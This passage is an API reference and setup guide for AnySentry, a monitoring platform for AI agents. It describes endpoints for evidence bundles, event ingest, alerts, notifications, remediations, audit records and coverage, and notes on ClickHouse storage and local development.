POST /security-center/evidence/bundle— read-only case-file assembly for aneventId, TopologyedgeId,incidentId,alertId,taskId,objectiveId, CoverageissueId, NotificationdeliveryId, MaintenancewindowId, AuditauditId, or operational scope. The bundle links the primary object with timeline events, related Incidents, Alerts, Remediations, Objectives, Coverage gaps, Notification delivery history, Maintenance windows, Topology evidence, Agent / Workspace / Source / Collector context, and management Audit records without requiring any agent-side code. Source/Collector/Workspace scoped bundles include notification deliveries by exact alert context scope, so operational handoffs keep the delivery trail even without a specific Alert ID. Scoped bundles also include exact target Maintenance windows so handoffs retain the active suppression context without broad keyword matching; Event-primary bundles bindprimary.eventto the same normalized payload returned inevents[], including Source, Collector, workspace, run, Agent, session, trace, event kind, category, and verdict fields. Source/Collector/Workspace scoped bundles also attach exact observed Agent maintenance windows from scoped event evidence. A puresourceIdbundle hydrates that Source's bound Collector and Workspace context so the handoff includes the upstream operational owner path, Collector-scoped bundles attach the Workspace inventory context for exact matching Sources plus exact observed Agent context from the scoped event evidence without workspace-wide Agent bleed, Workspace-scoped bundles attach Collector health context for exact matching Sources and the Workspace's Agent inventory, and a unique metadata-onlyagentIdbundle hydrates that Agent's Workspace ownership context. CoverageissueIdbundles hydrate the issue's exact Source, Collector, Workspace, and Maintenance context; Agent context is included only when the issue or scoped event evidence identifies that Agent. Objective and Remediation case files also preserve second-order links such as Objective-derived Remediation overdue Alerts and their delivery records. -
POST /security-center/evidence/export— redaction-safe Markdown handoff generation for the same Evidence Bundle selectors, returning filename, content hash, scope, summary, and export content for ticket, review, or incident handoff workflows. -
POST /security-center/ingest/events— generic JSON batch ingress for webhook, OTel bridge, or custom producers; items are normalized into the same canonical event stream as observer NDJSON. -
POST /security-center/ingest/otel,/security-center/ingest/otlp/v1/logs, and/security-center/ingest/otlp/v1/traces— native OTLP/HTTP JSON ingress forresourceLogsandresourceSpans, normalized into the same canonical event stream and source registry. -
POST /security-center/incidents/listandPUT /security-center/incidents/:incidentId— risk events automatically grouped into operational incidents that can be acknowledged, reopened, or resolved; list queries can be scoped by workspace, Agent, session, trace, Collector, or Source. -
POST /security-center/alerts/list,PUT /security-center/alerts/:alertId, andGET /security-center/alerts/config— operational alerts derived from Incidents, Collector heartbeats, Agent pressure, severe block events, rejected Source ingress attempts, Source check-in errors, stale/down Sources, Coverage gaps, stale Source tokens, Objective breaches, and overdue Remediation tasks. Alert list selectors include exactalertId, linkedincidentId,eventId, RemediationtaskId, ObjectiveobjectiveId, and CoverageissueId; related-ID selectors pin the target alert while still allowing filtered context rows for deep links.ANYSENTRY_ALERT_WEBHOOK_URLenables best-effort webhook notification without changing agents. -
GET /security-center/notifications/config,POST/PUT /security-center/notifications/channels, andPOST/PUT /security-center/notifications/routes— platform-managed webhook channels and routing rules. Routes can match severity, alert kind, workspace, agent, collector, source, owner, team, or keyword. Generated Source alerts inherit Source owner/team, while Event, Incident, and Agent alerts inherit Agent metadata owner/team when available, then Source owner/team where applicable. Coverage alerts use matching Agent owner/team when scoped to an Agent and fall back to Source owner/team for Source-scoped gaps. Notification config includes a redaction-safe delivery log with alert, action (opened,reopened, orresolved), route, channel, status, duration, related Incident/Event/Remediation/Objective/Coverage issue IDs, and error context; exactchannelId,routeId,deliveryId,alertId,incidentId,eventId,taskId,objectiveId, orissueIdquery parameters pin or filter notification rows for audit deep-links. Route-scope selectors also filter the Route list and Delivery Log by alert context, with exact workspace/agent/collector/source/owner/team matching andminSeverityas a delivery severity floor. Route lists can also be scoped by exact route selectors (kind,minSeverity,workspacePath,agentId,collectorId,sourceId,owner, orteam) so Source/Collector/Agent/Workspace consoles open the matching notification policy context without keyword search. Failed deliveries emit system Audit records, and automatic Source / Objective / Coverage / Remediation recovery plus manual Alert / linked-Incident reopen/resolve actions emit matching lifecycle notifications. The legacyANYSENTRY_ALERT_WEBHOOK_URLstill works as a read-only fallback channel. -
POST /security-center/objectives/list,POST /security-center/objectives, andPUT /security-center/objectives/:objectiveId— platform-side monitoring goals for global, workspace, Agent, Collector, or Source targets. Objectives evaluate current coverage score, open Incidents, active Alerts, overdue Remediations, risky events, stale Agents, down Collectors, and unhealthy Sources from existing observed/control-plane data; no agent-side code or policy changes are required. Objective list selectors include exactobjectiveIdplus targettargetType,targetId, andmetricfilters, so Source/Agent/Collector/Workspace consoles can deep-link into their matching goals without keyword search. Breached Objectives emitobjective.breachAlerts that can route through Notifications and generate Remediation tasks, while Objective and Coverage governance alerts are excluded fromactive_alertsObjective calculations to avoid feedback loops. Targetedcoverage_scoreObjectives use exact Coverage selectors (workspacePath,agentId,collectorId, orsourceId) before calculating the scoped score, avoiding keyword-search bleed between similarly named targets. Agent Objectives can use either a bareagentIdor the compositeworkspacePath:agentIdtarget ID; the Agent console uses the composite form so same-name Agents in different Workspaces do not bleed into Objective evaluation, breach Alerts, or Evidence Bundles. -
POST /security-center/remediations/listandPUT /security-center/remediations/:taskId— remediation/runbook tasks derived from Incidents, Alerts, Coverage gaps, and Source health issues, with owner, status, due time, notes, step completion state, and direct links back to Sources, Collectors, Agents, Alerts, or evidence events. Remediation list selectors include exacttaskId, linkedincidentId,alertId,eventId, ObjectiveobjectiveId, and CoverageissueId; related-ID selectors pin the target task while preserving source/workspace/agent/collector filter context. Active tasks pastdueAtemitremediation.overdueAlerts for Notification routing via both task updates and a platform-side due-date scanner (ANYSENTRY_REMEDIATION_OVERDUE_SCAN_SECS, default 60 seconds); those meta-alerts are excluded from Remediation generation to avoid recursive tasks. Overdue Alerts inherit related Objective and Coverage issue IDs from the task so Notifications and Evidence Bundles keep the full governance context. NotificationdeliveryIdEvidence Bundles use the delivery row as the primary evidence and hydrate the linked Alert, Incident/Event/Task/Objective/Coverage IDs, failed-delivery audit record, channel/route history, and scoped asset context without keyword search. MaintenancewindowIdEvidence Bundles use the window as primary evidence and hydrate target scope, related suppression context, and the Maintenance audit trail. -
POST /security-center/audit/list— platform management audit records for policy saves/replays, Incident updates, Alert updates, Objective updates, and Remediation updates. This is AnySentry control-plane data and does not require any agent-side instrumentation. Audit details carry structured resource identifiers so the UI can deep-link back to Agents, Sources, Notification channels/routes, failed delivery records, Objectives, Maintenance windows, Incidents, Alerts, Remediation tasks, or scoped Evidence Bundles. AuditauditIdEvidence Bundles use the Audit record as primary evidence and hydrate linked resource context from exact resource/details IDs. Audit list selectors include exactauditIdplus exactresourceType/resourceIdandactorIdfilters; keyword search stays available throughq. -
POST /security-center/config/simulate— dry-run a draft L1/L2/L3 policy against recent observed events and report added/removed blocks, escalations, affected Agents, and Workspaces. -
GET /security-center/healthz— deployment health/readiness JSON for probes and gateways, including service status, uptime, storage mode (clickhouseor in-memory), event counters, and active policy tier status. It intentionally staysokwhen ClickHouse is unavailable because AnySentry can run in in-memory mode. -
POST /security-center/agents/inventoryandGET /security-center/agents/metadata— agent assets discovered from the same observer event stream plus platform-side metadata-only Agent records, with metadata inventory readable for reconciliation; inventory queries are filterable by time, state, agent, workspace, and user. -
PUT /security-center/agents/:agentId/metadata— attach owner, team, environment, criticality, tags, and notes to a discovered Agent as a platform-side overlay; no agent code changes are required, and updates are written to the audit log. The Agent inventory view links each asset into Events, Topology, Incidents, Alerts, Coverage, Remediation, Maintenance, Objectives, and Notification routing; exactagentId/workspacePathdeep links return only that Agent when used alone, or pin that Agent while preserving health/search context when filters are present, including metadata-only assets. -
POST /security-center/workspaces/inventory— workspace/service assets derived from observed Agents and platform metadata, with owner/team/environment rollups, maintenance state, collector count, risk, Incident, and activity metrics. The Workspace inventory view exposes the same operational jump points for the service domain; exactworkspacePathlinks return only that Workspace when used alone, or pin that Workspace while preserving filtered context. -
POST /security-center/agents/topology— non-invasive dependency topology derived from the same event stream: workspace→agent, collector→agent, and agent→tool/network/file/LLM/security edges. Topology queries can be scoped by Agent, Workspace, Collector, Source, exactedgeId, or evidenceeventId; exact selectors return only matching topology evidence when used alone, or pin the matching edge/event relationships while preserving filtered graph context. TopologyedgeIdEvidence Bundles use the edge as primary evidence and hydrate the sample event plus operational scope. -
POST /security-center/collectors/health— collector fleet health derived froma3s-observerCollectorHeartbeatcontrol-plane events. The Collector health view links each collector into Events, Incidents, Alerts, Coverage, Remediation, Maintenance, Objectives, and Notification routing. ExactcollectorIdlinks are pinned even when state/node/search filters would normally hide the collector. -
POST /security-center/collectors/heartbeat— optional direct heartbeat endpoint for forwarders or DaemonSets that cannot emit heartbeat lines into the observer stream. The endpoint accepts optional Source identity/token fields or headers and updates Source heartbeat health using the same token enforcement and rejection alerts as normal ingest. -
POST /security-center/sources/list,POST /security-center/sources,PUT /security-center/sources/:sourceId,POST /security-center/sources/:sourceId/rotate-token, andPOST /security-center/sources/check-in— platform-side ingestion source registry for observers, forwarders, webhooks, OTel bridges, and custom producers. Sources keep owner, team, workspace, collector binding, last attempt, last accepted signal, accepted/rejected counters, hashed ingest tokens, token issued/rotation due timestamps, and per-source token enforcement.ANYSENTRY_SOURCE_TOKEN_ROTATION_DAYSsets the default rotation period, and individual Sources can override it withtokenRotationDays. Source active/stale status is based on accepted events or heartbeats, so rejected attempts do not make a source look healthy; missing/invalid token attempts, malformed source events, check-in errors, stale tokens, and sources with no accepted signal beyondANYSENTRY_SOURCE_STALE_AFTER_SECS/ANYSENTRY_SOURCE_DOWN_AFTER_SECSproduce Source/Coverage signals. The Sources view can send a lightweight check-in or a judged test event, and links each source directly into Events, Incidents, Alerts, Coverage, Remediation, Maintenance, Objectives, and Notification routing. ExactsourceIdlinks are pinned even when status/type filters would normally hide the source; exactcollectorIdandworkspacePathfilters scope Source inventory and Evidence Bundles without keyword search. Token use is optional for legacy producers, so existing no-agent-change ingest keeps working. Lightweight producers can also self-identify through check-in without sending a judged event:curl -X POST localhost:29653/security-center/sources/check-in \ -H 'Content-Type: application/json' \ -d '{ "sourceName": "gha-otel-bridge", "sourceType": "otel", "workspacePath": "repo://payments", "status": "ok" }'
-
POST /security-center/coverage/overview— monitoring coverage and blind-spot candidates derived from Source health, Source token rotation due state, Collector health, Agent activity, and eventcollectorIdownership. Medium-or-higher actionable issues also producecoverageAlerts for notification routing and resolve when the scoped Coverage issue disappears or is suppressed. Queries can be scoped exactly byagentId,workspacePath,collectorId,sourceId, orissueId. -
POST /security-center/maintenance/list,POST /security-center/maintenance/windows, andPUT /security-center/maintenance/windows/:windowId— planned maintenance windows for global, workspace, agent, collector, or source targets. Active windows suppress matching platform alerts and mark coverage issues as maintenance-suppressed without changing agents, observers, or sentry policy. Maintenance list selectors include exactwindowIdplus exact targettargetTypeandtargetId, so Source/Agent/Collector/Workspace consoles can deep-link into matching windows without keyword search.
These APIs are backed by the same non-invasive event stream that powers the dashboard.
Query-style POST endpoints return 200 OK; ingest, creation, rotation, and update endpoints return
their action acknowledgements.
Operational read APIs accept their object IDs (eventId, Topology edgeId, auditId,
incidentId, alertId, Remediation taskId, Objective objectiveId, Notification deliveryId, Maintenance windowId, or
Coverage issueId) plus Alert/Remediation related IDs (eventId, taskId, objectiveId, and
issueId), Source collectorId / workspacePath, Audit resourceType / resourceId / actorId, and
Maintenance/Objective target selectors as pinned deep-link selectors, so Audit Log and cross-console links can surface filtered-out
operational objects without losing the normal list context. Event, Topology, Incident, Alert,
Remediation, Maintenance,
Objective, Audit, and Coverage requests with only the exact object ID return just that evidence or
operational row; adding other filters keeps the object pinned while showing the normal filtered
context.
To regression-check these cross-console semantics against a running API, use the HTTP verifier:
ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:deep-linksFor a one-command local run, build the API, start a temporary AnySentry API on a free local port, run the same verifier, and stop the temporary API afterward:
pnpm verify:deep-links:localJudged events are written to ClickHouse (a columnar TSDB — the right home for time-windowed
event analytics); the in-memory ring is just a hot read cache hydrated from it on boot, so date
windows survive restarts. If CLICKHOUSE_URL is unset, AnySentry runs in-memory only (no
durability). Retention is a 90-day TTL on the events table (tune in
apps/api/src/security-monitoring/clickhouse-store.ts). Policy, Agent metadata, Maintenance
windows, Notification channels/routes/delivery history, Objective state, Ingestion source state, Incident state,
Alert state, Remediation task state, Collector heartbeat ring, and platform audit records are stored
in the ClickHouse config table when ClickHouse is configured, so ownership, planned maintenance,
delivery routing/history, monitoring goals, source enrollment, status, step progress, and management
history survive restarts.
Requires Node 20+ and pnpm (corepack enable).
pnpm install
pnpm dev # api (29653) + web (5173, proxies /security-center → api) togetherOpen http://localhost:5173. Point CLICKHOUSE_URL at a local ClickHouse, or leave it unset to
run in-memory.
For a fleet, run a3s-observer as an observe-only eBPF DaemonSet on every node, forwarding events
to AnySentry. See deploy/ for example manifests (AnySentry + ClickHouse + the observer
